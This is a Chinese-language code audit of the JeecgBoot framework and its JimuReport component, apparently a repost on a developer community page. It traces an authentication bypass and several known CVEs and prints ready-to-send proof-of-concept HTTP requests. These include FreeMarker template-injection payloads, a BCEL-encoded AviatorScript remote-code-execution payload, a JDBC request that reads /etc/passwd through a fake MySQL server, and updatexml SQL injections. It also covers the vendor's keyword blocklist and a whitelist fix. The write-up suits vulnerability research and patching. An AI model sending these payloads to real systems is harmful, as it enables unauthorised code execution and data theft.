JeecgBoot代码审计
如果var3不为空,但执行@Sql("select status,share_token,last_update_time,term_of_validity from jimu_report_share where share_token = :shareToken")时查不出相应数据,且路由不是以/jmreport/view开头,就会走到下面的true。即使我们用于构造jwt的用户名密码存在于数
环境搭建
https://github.com/jeecgboot/JeecgBoot
在release中找到3.5.0版本,新建数据库jeecg-boot,导入jeecgboot-mysql-5.7.sql文件。在application-dev.yml中更改mysql连接用户名密码。然后还需要开启Redis。
没有前端也能测漏洞。但是如果想要体验完整的功能,需要起vue3,下载相应版本的nodejs。测试最新版3.7.0时,建议从nodejs官网 https://nodejs.org/zh-cn/下载18.20版本。高或低版本的nodejs都有可能出现各种各样的错误。然后执行如下命令。最终访问ip:3100
# 进入前端代码
cd JeecgBoot/jeecgboot-vue3
# 安装依赖
pnpm install
# 运行项目
pnpm dev
框架分析
整个框架分析基于jeecg-boot 3.5.0版本,该版本采用的积木报表版本为1.5.6。
集成积木报表
3.5.0版本jeecg-boot的pom.xml文件中引入1.5.6版本积木报表
<jimureport-spring-boot-starter.version>1.5.6</jimureport-spring-boot-starter.version>
<shiro.version>1.10.0</shiro.version>
<dependency>
<groupId>org.jeecgframework.jimureport</groupId>
<artifactId>jimureport-spring-boot-starter</artifactId>
<version>${jimureport-spring-boot-starter.version}</version>
<exclusions>
<exclusion>
<artifactId>autopoi-web</artifactId>
<groupId>org.jeecgframework</groupId>
</exclusion>
</exclusions>
</dependency>
如果从github单独下载积木报表的源码会发现只有一个框架。没有实际代码。但是如果看这个引入的jar包—jimureport-spring-boot-starter-1.5.6.jar。
1.5.6版本积木报表登录校验
积木报表进入到路由对应的方法前,都先经过JimuReportInterceptor类
获取路由对应的处理类和方法,并获取方法上的@JimuLoginRequired注解。注解示例如下。
拦截器的逻辑是,如果注解不为空(即方法上被标注了注解@JimuLoginRequired)或者verifyToken()方法返回false,那么就会校验失败。verifyToken的逻辑如下。首先传入的token参数不能为空,另外构造jwt的用户名密码必须正确。
getLoginUser这个校验需要注意,它是从Redis里面获取的。即使我们用于构造jwt的用户名密码存在于数据库中如mysql,但是这个用户没有登录过,那么Redis缓存中没有相关数据,也无法通过校验。
利用JwtUtil.sign()方法的代码生成token。代码如下。
String username="admin";
String secret="xxx";
Date date = new Date(System.currentTimeMillis() + EXPIRE_TIME);
Algorithm algorithm = Algorithm.HMAC256(secret);
return JWT.create().withClaim("username", username).withExpiresAt(date).sign(algorithm);
效果图
1.7.6版本积木报表登录校验
但是如果查看jeecg-boot目前最新的3.7.0会发现上面这个1.5.6版本登录校验的类JimuReportInterceptor不存在了。
被替换为了JimuReportTokenInterceptor。
跟进JimuReportTokenInterceptor,前面的逻辑与JimuReportInterceptor基本一致,只是多了对路径/jmreport/shareView的放行。
后面verifyToken()开始有了很大的不同。之前只要verifyToken校验不通过就直接无法访问,但现在不通过还有两个条件可以再次判断,1. isSharingEffective 2. isShareingToken(进入这个条件的前提是传入了previousPage参数)
1. isSharingEffective
先判断路由是否在如下列表中。如果在的话进入到后面的if(var3)中。否则isSharingEffective()方法直接返回false。
ShareUrlEnum.getShareUrls() = {ArrayList@21500} size = 11
0 = "/jmreport/getQueryInfo"
1 = "/jmreport/share/verification"
2 = "/jmreport/addViewCount/"
3 = "/jmreport/show"
4 = "/jmreport/exportPdfStream"
5 = "/jmreport/exportAllExcelStream"
6 = "/jmreport/checkParam/"
7 = "/jmreport/map/queryMapByCode"
8 = "/jmreport/qurestSql"
9 = "/jmreport/qurestApi"
10 = "/jmreport/getCharData"
把isSharingEffective()代码逻辑简化如下。
a. 根据路由的不同,分别获取不同的参数,如下
/jmreport/getQueryInfo、/jmreport/share/verification、/jmreport/map/queryMapByCode、/jmreport/getCharData -> reportId
/jmreport/exportPdfStream、/jmreport/exportAllExcelStream -> excelConfigId
/jmreport/qurestSql、/jmreport/qurestApi -> apiSelectId
/jmreport/show -> id
b. 根据上述参数值执行@Sql("select * from jimu_report_share where report_id = :reportId")赋值给var8。对var8进行compareToDate()判断。
c. 如果请求中Header存在JmReport-Share-Token或者参数中存在shareToken。执行isShareingToken()判断。
如果isSharingEffective()返回false,就看另一个条件。isShareingToken(进入这个条件的前提是传入了previousPage参数)
2. isShareingToken
进入此方法,只有返回true时才能通过校验。从Header中获取JmReport-Share-Token的值,如果不存在就获取shareToken请求参数。获取jmLink请求参数,如果该参数不为空,进行base64揭秘后,如果能分割,就分别赋值给var3和var4。
如果var3不为空,但执行@Sql("select status,share_token,last_update_time,term_of_validity from jimu_report_share where share_token = :shareToken")时查不出相应数据,且路由不是以/jmreport/view开头,就会走到下面的true。
POC
/jeecg-boot/jmreport/save?previousPage=xxx&jmLink=YWFhfHxiYmI=
jmLink解密后是aaa||bbb,根据上面的分析,可以是任意的xx||xx。previousPage也可以传入任意的值。
涉及版本
1.6.2开始改成了JimuReportTokenInterceptor,但此时只获取previousPage,并没有isShareingToken的校验问题。1.7.0开始加入isShareingToken方法。也就是积木报表从1.7.0版本开始受jmLink登录绕过漏洞的影响
历史漏洞
挑几个重点的历史漏洞分析一下。
漏洞名称 | CVE编号 | 影响版本 |
/jmreport/qurestSql sql注入漏洞 | CVE-2023-1454 | 3.5.0 |
/jmreport/show sql注入漏洞 | CVE-2023-34659 | 3.5.0 and 3.5.1 |
testConnection JDBC 远程代码执行漏洞 | CVE-2023-41578 | <=3.5.3 |
/jmreport/queryFieldBySql SSTI漏洞 | CVE-2023-4450 | jeecgboot JimuReport <=1.6.0 |
/jmreport/loadTableData SSTI漏洞 | CVE-2023-41544 | <=3.5.3 |
/jmreport/save AviatorScript代码注入漏洞 | 暂未分配编号 | - |
SSTI漏洞简单demo
首先看一下两个SSTI漏洞的demo。一个是在代码中传入Template。
另一个则是可以调用或控制.ftl文件。
.ftl内容如下
<body>
<h3>
<#assign value="freemarker.template.utility.Execute"?new()>${value("open -a Calculator")}
</h3>
</body>
JDBC漏洞简单demo
漏洞的代码核心是要能控制传入的jdbcUrl。
Class.forName("com.mysql.cj.jdbc.Driver");
Connection connection = DriverManager.getConnection(jdbcUrl);
AviatorScript代码注入漏洞简单demo
AviatorScript之前有个代码注入漏洞,参考官方链接如下:
代码可以写成两种形式。jeecgboot受影响的就是第二种写法。
# 1
AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();
evaluator.execute(expression);
# 2
AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();
Expression compiledExp = evaluator.compile(expression);
Map<String, Object> env = new HashMap<>();
env.put("Z0", 0);
Object result = compiledExp.execute(env);
POC如下
(c=Class.forName(\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$c2$40$U$3dCK$5bk$95$97$f8$7e$c4$95$c0$c2$s$c6$j$c6$NjbR$c5$88a_$ca$E$86$40k$da$c1$f0Y$baQ$e3$c2$P$f0$a3$8cw$w$B$a2M$e6$de9$e7$9es$e6$a6_$df$l$9f$ANq$60$p$8b$b2$8dul$a8$b2ib$cb$c46$83q$sB$n$cf$Z$b4J$b5$cd$a07$a2$$g$c8y$o$e4$b7$e3Q$87$c7$P$7egHL$d1$8b$C$7f$d8$f6c$a1$f0$94$d4e_$q$MY$afqsQ$t$c8$t$3c$608$aax$D$ff$c9w$87$7e$d8s$5b2$Wa$af$5e$5d$a0$ee$e2$u$e0IB$G$z$YuU$f4$3f9$83$7d9$J$f8$a3$UQ$98$98$d8$n$dc$8a$c6q$c0$af$84z$d7$a2$f7$8e$95$c9$81$B$d3$c4$ae$83$3d$ec$3bX$c1$w$85$d2$90$n$3f$cflv$G$3c$90$M$a5$94$S$91$7b$dd$9c$853$U$e6$c2$fbq$u$c5$88$f2$ed$k$973P$ae$y$$$3f$a5$eb8$84N$7fT$7d$Z0$b5$GU$8b$90K$9dQ$cf$d6$de$c0$5e$d2$f1$SU$p$r5$d8T$9d_$B$96$e9$G$9a$d2$da$a4R$e6$934$M$b0$de$91$a9$bdB$7b$fe$e37$W$fc$Wr$c8S$_$d0$d1$89$v$d2$v$a5$fa$b5$l$d5$l$f2$9c$f6$B$A$A\",true,new com.sun.org.apache.bcel.internal.util.ClassLoader()) ) + ( c.exec(\"open /System/Applications/Calculator.app\"))
/jmreport/queryFieldBySql SSTI漏洞
漏洞定位jimureport-spring-boot-starter-1.5.6.jar!/org/jeecg/modules/jmreport/desreport/a/a.class。从传入的json字符串中获取key为"sql"的value值,然后先调用i.a进行sql关键字检测,如果没有匹配到恶意特征,再从json字符串中获取其他的key。由于本地部署,不是saas化的,会直接执行到parseReportSql方法。
i.a()方法进行sql关键字进行检测的特征如下,匹配上会抛出异常。
String[] var1 = " exec | insert | alter | delete | grant | update | drop | chr | mid | master | truncate | char | declare |user()|".split("\\|");
Pattern.matches("show\\s+tables")
如果没有传入paramArray参数,执行parseReportSql时,会调用如下方法对sql进行处理。var0就是传入的sql值。这里再次调用i.a对var0进行sql恶意关键字的匹配。b方法同样也是进行sql处理。例如,如果匹配到where,就替换成where 1=1等。
跟进断点处的a方法。它匹配${}
形式的占位符,如果JSONArray不为空,遍历JSONArray
中的每个JSONObject
,并检查其包含的paramName
和paramValue
。根据这些值,替换输入字符串中的占位符,并更新var2
中的值。最后调用FreeMarkerUtils.a
方法,使用var2
替换var1
中的占位符。
跟进FreeMarkerUtils.a()方法中,典型的Freemarker SSTI特征—Template.process()。
POC
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 10.128.5.250:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Connection: close
Content-Length: 124
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"open -a Calculator\")}",
"type": "0"
}
复现如图。
/jmreport/loadTableData SSTI漏洞
漏洞定位同样位于a.class
跟进loadTableData,调用了与上面SSTI漏洞相同的e.a方法。
后续执行与上面SSTI相同。
POC
POST /jeecg-boot/jmreport/loadTableData HTTP/1.1
Host: 10.128.5.250:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Connection: close
Content-Length: 181
{"dbSource":"","sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ ex(\"open -a Calculator\") }'","tableName":"test_demo);","pageNo":1,"pageSize":10}
漏洞复现
/jmreport/testConnection jdbc远程代码执行漏洞
漏洞定位
请求体的数据类型为JmreportDynamicDataSourceVo,包含如下字段。获取DbType类型,判断是否为redis或者mongodb。获取DbDriver加载该类,获取DbUrl,执行DriverManager.getConnection()。
由于请求体可控,那么只需要构造JmreportDynamicDataSourceVo的相关字段,即可。
网上有很多打H2的payload,但是默认的jeecg-boot环境是没有H2的。这里打mysql。
POC。mysql服务器选用的MySQL_Fake_Server。将服务端口改为3307,起服务尝试读取文件
POST /jeecg-boot/jmreport/testConnection HTTP/1.1
Host: 10.128.5.250:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cmd: whoami
Content-Type: application/json
Connection: close
Content-Length: 350
{
"id":"1",
"code":"select * from information_schema.tables",
"dbType":"jndi",
"dbDriver":"com.mysql.cj.jdbc.Driver",
"dbUrl":"jdbc:mysql://localhost:3307/test?allowLoadLocalInfile=yes",
"dbName":"information_schema",
"dbUsername":"fileread_/etc/passwd",
"dbPassword":"password",
"connectionTimaes":"5"
}
漏洞复现,如图。
漏洞发现者:
Jeecg-boot <=3.5.3 Arbitrary File Read · Issue #1 · Snakinya/Bugs · GitHub
/jmreport/qurestSql sql注入漏洞
漏洞定位还是jimureport-spring-boot-starter-1.5.6.jar!/org/jeecg/modules/jmreport/desreport/a/a.class。从json字符串中读取key为apiSelectId的值,根据这个值去数据库查询数据。
跟进getById。实际执行的sql是select * from jimu_report_db WHERE ID=:id
看一下数据库里的jimu_report_db表的数据。
其中db_dyn_sql字段值也是一句sql。select * from rep_demo_employee where id='${id}'。跟进调试确实返回的是这些数据,并赋值给了var4。
qurestechSql实现逻辑
1. 先取出对应的db_dyn_sql的sql值。
2. 根据id值(对应JIMU_REPORT_HEAD_ID),从jimu_report_db_param表查数据
数据库中查询如下。
3. 将传入的json格式var1的值和shared_query_param组成键值对。然后JSONObject var12 = (JSONObject)var11.get("shared_query_param");再获取这个值。
4. getDbSql
this.getBaseSql(reportDb, paramObject);这步拼接成如下的sql
select * from rep_demo_employee where id='1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like ''
POC
POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: 10.128.5.250:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Connection: close
Content-Length: 128
{"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"}
/jmreport/show sql注入漏洞
漏洞定位jimureport-spring-boot-starter-1.5.6.jar!/org/jeecg/modules/jmreport/desreport/a/a.class。获取json中的id和params值
调用show方法。先根据id查询数据@Sql("SELECT * FROM jimu_report WHERE ID = :id")
其中getDataById最终调用的方法同样是getDbSql。
发现者:Unauthorized SQL injection in Jeecg3.5.0 and 3.5.1 · Issue #4976 · jeecgboot/JeecgBoot · GitHub
POC如下。注意json格式。否则会报错。
POST /jeecg-boot/jmreport/show HTTP/1.1
Host: 10.128.5.250:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Connection: close
Content-Length: 189
{
"id":"961455b47c0b86dc961e90b5893bff05",
"apiUrl":"",
"params":
"{\"id\":\"1' or '%1%' like (updatexml(0x3a,concat(1,(select database())),1)) or '%%' like '\"}"
}
漏洞复现
还有一些漏洞是绕官方sql黑名单的,如CVE-2023-38905等,不分析了。
https://github.com/jeecgboot/JeecgBoot/issues/4737
/jmreport/save AviatorScript代码注入漏洞
进入积木报表控制台,点击新建报表,在表格内随意填入内容,点击保存的时候,由/save路由对应的方法来处理。保存excel json数据。
最终执行update方法,将excel内容转成json字符串存入jimu_report表中。
这也是刚开始看save方法没有发现表达式注入的原因。因为这步只进行了存储。而只有进行预览的时候,才能触发表达式操作。点击预览,由/show路由对应的方法进行处理。根据传入的id值从数据库中查询出存入的json数据,调用ExpressUtil进行处理。
最终执行到如下位置。
访问show触发表达式,配合上面分析的积木报表登录校验绕过,实现未授权RCE。
漏洞发现者:积木报表软件存在AviatorScript代码注入RCE漏洞 · Issue #2848 · jeecgboot/JimuReport · GitHub
最后说一下AviatorScript代码注入这个点,在上面demo中给出了当年漏洞提交的日期是2021年,当时有其他研究者测试并回复,AviatorScript受影响的版本是>=5.2.1(jeecg-boot3.7.0用的AviatorScript 5.2.6,即受影响版本)。组件开发者也基本确认,4.x版本中并不支持new/if这些语句因此不受影响。另外,当时组件开发者给出的漏洞修复方案是,设置允许访问的类的白名单。假如白名单为空,也就禁止了任何字段或方法的调用。语句如下
evaluator.setOption(Options.ALLOWED_CLASS_SET, Collections.emptySet());
另外,在组件的官网上,最佳实践 · 语雀给出了相关的说明。从5.2.2版本开始增加了上述的ALLOWED_CLASS_SET选项。
但是既然是选项,就要求使用AviatorScript的开发者自己去设置,那么使用AviatorScript 5.2.1以上版本的软件中,都有可能受此漏洞影响,并且没有设置相关安全白名单。审计的时候看到库中包含AviatorScript可以留意一下版本以及是否存在调用。
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)